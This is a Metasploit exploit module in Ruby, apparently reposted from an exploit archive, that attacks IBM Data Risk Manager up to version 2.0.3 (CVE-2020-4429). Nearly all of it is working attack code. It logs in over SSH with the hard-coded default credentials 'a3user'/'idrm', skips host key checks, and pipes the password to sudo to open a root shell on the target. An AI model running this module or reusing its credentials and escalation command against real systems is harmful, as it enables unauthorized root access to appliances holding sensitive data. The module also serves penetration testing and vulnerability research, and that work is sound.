Exploit for IBM Data Risk Manager 2.0.3 Default Password CVE-2020-4429

## https://sploitus.com/exploit?id=PACKETSTORM:157566
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SSH  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'IBM Data Risk Manager a3user Default Password',  
'Description' => %q{  
This module abuses a known default password in IBM Data Risk Manager. The 'a3user'  
has the default password 'idrm' and allows an attacker to log in to the virtual appliance  
via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password.  
At the time of disclosure, this is a 0day. Versions <= 2.0.3 are confirmed to be  
affected, and the latest 2.0.6 is most likely affected too.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2020-4429' ], # insecure default password  
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ]  
],  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ]  
],  
'Privileged' => true,  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-04-21'  
)  
)  
  
register_options(  
[  
Opt::RPORT(22),  
OptString.new('USERNAME', [true, 'Username to login with', 'a3user']),  
OptString.new('PASSWORD', [true, 'Password to login with', 'idrm'])  
]  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def on_new_session(client)  
print_status("#{peer} - Escalating privileges to root, please wait a few seconds...")  
# easiest way I found to get passwordless root, not sure if there's a shorter command  
client.shell_command_token("echo #{datastore['PASSWORD']} | sudo -S 'echo 2>/dev/null'; sudo /bin/sh")  
print_good("#{peer} - Done, enjoy your root shell!")  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def do_login(user, pass)  
factory = ssh_socket_factory  
opts = {  
auth_methods: ['password', 'keyboard-interactive'],  
port: rport,  
use_agent: false,  
config: false,  
password: pass,  
proxy: factory,  
non_interactive: true,  
verify_host_key: :never  
}  
  
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh =  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(rhost, user, opts)  
end  
rescue Rex::ConnectionError  
fail_with(Failure::Unknown, "#{peer} SSH - Connection error")  
rescue Net::SSH::Disconnect, ::EOFError  
fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")  
rescue ::Timeout::Error  
fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")  
rescue Net::SSH::AuthenticationFailed  
fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")  
rescue Net::SSH::Exception => e  
fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")  
end  
  
return Net::SSH::CommandStream.new(ssh) if ssh  
  
nil  
end  
  
def exploit  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
print_status("#{peer} - Attempting to log in to the IBM Data Risk Manager appliance...")  
conn = do_login(user, pass)  
if conn  
print_good("#{peer} - Login successful (#{user}:#{pass})")  
handler(conn.lsock)  
end  
end  
end